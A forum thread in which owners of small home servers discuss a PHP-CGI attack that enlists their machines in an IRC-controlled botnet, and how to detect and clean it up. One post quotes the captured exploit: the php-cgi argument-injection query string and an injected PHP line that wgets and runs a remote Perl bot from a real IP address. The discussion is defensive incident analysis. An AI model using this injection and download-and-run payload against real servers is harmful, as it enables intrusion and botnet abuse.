I have been attacked and don't know why.

[Gordon]

I've also noticed a lot more of these.
And yesterday there where two defunct instances of php5.orig started by www-data...

Looking at my honeypot logs I did notice that sometimes they try to fire up the cgi without parameters and check for it to return a 500 error. Quite possibly the defunct processes you refer to are caused by a bug in the wrapper.

I do wonder why some of you get so many hits on this. I get maybe 5 or 6 on a single day and days may pass that I don't get hit even once. I also do see the same addresses returning over and over again and if I were to remove all the doubles I would probably end up with a similar count of distinct addresses. That said: the actual count of attackers is even smaller, because I also did notice the exact same attack code being fired up by multiple IPs.

As far as sending abuse reports go: the IP addresses you're seeing in the apache logs appear to be victims just like you. The php code that is injected will in most cases download a perl script from a different IP than the one you see as the attacker. When executed, the perl script will set up an IRC channel with a third IP address that functions as the controller for your hacked B2|3. It's probably too simple a thought however to expect that this third IP address belongs to the hacker. It might be nice though if one could peek at these servers and see who makes relatively short visits to that server.

PS One of the IRC controllers that I found is hosted in The Netherlands and belongs to a German network of pr0n servers. Maybe that's why you guys get hit so often?

[Cheeseboy]

There is actually a noticeable change of the number of ssh attacks when I get a new dynamic IP address fro my ISP.
Some times the new address brings with it a flood of attacks, sometimes they simply seem to stop with the new address.

These attacks don't seem to vary in the same way, making me think it is the actual domain name that's been tagged...
And, yes, it seems to be the same code every time lately, from a small number of IPs (actually, I only really scrutinized the logs around the time my script warned me about the defunct processes - when I feel inspired I'll have to do some more thorough analysis of the logs - I've got them since June...)

And I'm not a consumer of German pr0n!

[RandomUsername]

Regarding abuse reports; I appreciate they are mostly victims themselves but when the attacks are coming from the likes of Amazon AWS addresses, reporting it back to them can be useful so the victims can be alerted.

IIRC, Amazon are actually one if the few companies I actually got a (automated) response from.

[Ubi]

If the attack is amplified ddos, im pretty sure the target already knows...

[RandomUsername]

Not the target, the (unaware) perpetrator.

[Gordon]

And, yes, it seems to be the same code every time lately, from a small number of IPs (actually, I only really scrutinized the logs around the time my script warned me about the defunct processes - when I feel inspired I'll have to do some more thorough analysis of the logs - I've got them since June...)

Well... yes. The problem is though that the apache logs will only show you stuff like

Code: Select all

/cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

(When URL-decoded)

Which does not tell you nothing because the actual stuff happens in the data part designated by php://input. An example of such code is the following:

Code: Select all

<?php system("cd /tmp; wget http://76.163.103.12/cp/w.exe;perl w.exe;rm -rf *.exe");
?>

(This content was uploaded to me by 217.17.85.68)

So in here the file `w.exe` is obviously a perl script and if you open that file with a text editor you'll find a line in there that contains the IP address of the IRC target that functions as the controller. I haven't actually grabbed this one, but again I don't expect that knowing that address will do you much good.

[redw0001]

I'm still coming up to speed with this as I've not been online for a while, is there an easy way to spot if I've been compromised this way? I'm on 2.6

I noticed a few things recently that may well be totally innocent that set me wondering...

1: I get a message like this once a minute. Dec 27 11:57:13 petra twisted: [HTTP11ClientProtocol,client] Got new IP '111.222.333.444' which is the same as the last one '111.222.333.444'
(I'd never seen twistd daemon before and spotted it running yesterday)

2: I got a couple of email messages recently containing....
/etc/cron.daily/logrotate:
invoke-rc.d: unknown initscript, /etc/init.d/squeezeboxserver not found.
invoke-rc.d: unknown initscript, /etc/init.d/squeezeboxserver not found.
However, my squeezboxeserver is working fine.

3: I just noticed the following appearing on auth.log every five minutes(seem to be in matched pairs and groups of three)....
Dec 27 11:55:01 petra CRON[14803]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 27 11:55:01 petra CRON[14804]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 27 11:55:01 petra CRON[14802]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 27 11:55:01 petra CRON[14804]: pam_unix(cron:session): session closed for user root
Dec 27 11:55:01 petra CRON[14802]: pam_unix(cron:session): session closed for user root
Dec 27 11:55:03 petra CRON[14803]: pam_unix(cron:session): session closed for user root
Dec 27 12:00:01 petra CRON[14831]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 27 12:00:01 petra CRON[14832]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 27 12:00:01 petra CRON[14830]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 27 12:00:01 petra CRON[14832]: pam_unix(cron:session): session closed for user root
Dec 27 12:00:01 petra CRON[14830]: pam_unix(cron:session): session closed for user root
Dec 27 12:00:02 petra CRON[14831]: pam_unix(cron:session): session closed for user root

I'm on 2.6 with bubba3-kernel 1:2.6.39.4-11

Might just be a load of nothing

robin

[Ubi]

the squeezebox server error is a bit weird, but nothing more. The rest is normal behaviour for a linux server. The evidence you present is no indication that you are hacked. (It doesn't mean you are not hacked, you just have no evidence that you are).

[RandomUsername]

The squeezebox server error is caused by that package being removed by an update (IIRC) but the associated logrotate files not being removed.

[Gordon]

@redw0001

1. Twistd is the daemon for the bubba-easyfind service. If you're not using that or have a fixed IP, just stop that service and remove it from the autostart profile. It's not a hack, but those log lines will cause your root partition to fill up (at least it has with other B3 owners)

2. Squeezeboxserver was renamed to LogitechMediaServer. Apparently you still have some reference to the old startup script, which is annoying but again no hack.

3. Like Ubi says: those are quite normal log entries.

I realize that to some this whole subject may seem scary and impressing, but there's really not that much to worry about. According to my traces, the whole objective of these attacks are to let your Bubba B2|3 participate in attacks on larger, more attractive targets. We're just little fish and the hacker will not be tempted to spend too much time trying to be anything other than the www user, which already fits his (M/F) purpose just fine.

[redw0001]

Ubi, RandomUsername, Gordon,

Thank you for the comments, I appreciate the time. Whilst I realise I may have been hacked regardless these were the items I noticed in the last few days that I could not remember seeing before.

I doubt there is a huge amount of value on my server other that it's use as part of a bigger attack, I just dont want to be part of something bigger!

Thanks again

[RandomUsername]

The easiest thing to do is check the contents of the crontab for www-data. It's the file called /var/spool/cron/crontabs/www-data.

[Gordon]

The easiest thing to do is check the contents of the crontab for www-data. It's the file called /var/spool/cron/crontabs/www-data.

Actually, I found that most of these bots (yes, there's more than one) will commit themselves to memory and not leave any readable files anywhere on the system. Look for high CPU from a process that is owned by www-data and when in doubt stop apache to verify whether that process will be killed as well. If it continues to run and request high CPU, then it is a shellbot.

[Torsten]

Thanks to Gordon for all the valuable information (and others too). I found that I was affected as well, and have run a ps -aux, and found that I had a process running as www-data, using a lot of CPU, and I killed it.

But now I am in doubt if I have done what is needed to handle the situation. I have
a) I upgraded the system to 2.6.0.1
b) I executed the commands stated by Ubi.
c) I killed the process mentioned above.
Is there anything else needed, i.e. any cleaning of unwanted files? I have not worked that much with Linux, and will have a hard time telling what is genuine and what should be deleted.

[Torsten]

And working further on this I used the "find -user www-data | more" to find all files belonging to www-data, and found that the /var/spool/postfix/maildrop folder contained a huge number of unsent spam mails regarding a PayPal scam, apparently. I deleted these files.

I also found that there are files and hidden folders in the /tmp folder, all belonging to www-data, and also in the /var/tmp folder. The latter contains

Code: Select all

-rwxr-xr-x 1 www-data www-data 1.4M Jun  5  2005 brute
-rwxr-xr-x 1 www-data www-data 4.3M Dec 12 19:40 pass.txt
-rwxr-xr-x 1 www-data www-data  164 Dec 12 19:16 print
-rwxr-xr-x 1 www-data www-data  16K Aug 12  2012 ps
-rwxr-xr-x 1 www-data www-data 1.2K Mar 13  2013 rand
-rwxr-xr-x 1 www-data www-data 444K Mar 21  2011 ss
-rwxr-xr-x 1 www-data www-data  588 Nov 25 20:22 su

which I assume is an attempt to brute-force passwords on the users.

How much of this can/ought to be deleted?